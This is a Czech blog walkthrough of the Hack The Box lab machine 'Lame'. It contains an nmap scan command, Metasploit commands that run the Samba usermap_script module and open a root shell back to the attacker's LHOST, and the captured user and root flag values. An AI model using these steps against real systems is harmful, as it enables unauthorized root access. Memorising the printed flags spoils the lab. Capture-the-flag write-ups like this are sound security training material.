tom@home.htb:~$

Blog o HTB

11 December 2020

Lame

Úvod a kontext

Lame je starý linuxový stroj, na kterém je hned několik zastaralých služeb najednou: vsftpd 2.3.4, Samba 3.0.20 a distccd. To z něj dělá dobrý příklad situace, kdy je potřeba nezůstat u prvního zranitelného banneru, ale zvolit cestu, která vede k nejrychlejšímu a nejčistšímu výsledku.

V tomhle případě vyhrává Samba. Zranitelnost usermap_script dovolí spustit příkaz přímo v kontextu roota, takže odpadá samostatná privilege escalation fáze. User i root flag se tak čtou ze stejné session.

Počáteční průzkum

Zastaralé služby na jednom hostu

nmap na Lame ukáže hned několik kandidátů na exploit. To je přesně moment, kdy je potřeba rozhodnout se pragmaticky: nezkoušet všechno, ale vybrat službu s nejspolehlivější cestou k shellu.

IP=10.10.10.3;ports=$(nmap -p- --min-rate=1000 -T3 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);nmap -p $ports -A -sC -sV -v -Pn $IP
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4)

Analýza zjištění

Proč padla volba na Samba 3.0.20

Na hostu jsou vidět i jiné historicky problematické služby, ale Samba 3.0.20 je z pohledu útočníka nejzajímavější, protože na ni existuje dobře známý exploit usermap_script. Ten nevede jen k omezenému footholdu, ale rovnou k příkazům jako root.

searchsploit Samba 3.0.20

Získání přístupu

Exploit usermap_script

Praktická cesta je tady velmi krátká. Metasploit modul exploit/multi/samba/usermap_script po správném nastavení otevře shell přímo nad cílovým strojem. Protože exploit běží v privilegovaném kontextu Samby, není potřeba žádné další obcházení práv.

msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
set LHOST 10.10.14.17
run

Eskalace oprávnění

Není potřeba další krok

Na Lame ve skutečnosti nevzniká samostatná root fáze. Shell z exploitu už běží s dostatečnými právy, takže stačí přečíst oba soubory s flagy.

cat /home/makis/user.txt
69454a937d94f5f0225ea00acd2e84c5
cat /root/root.txt
92caac3be140ef409e45721348a4e9df

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - smb - ssh - exploit - enumeration - privesc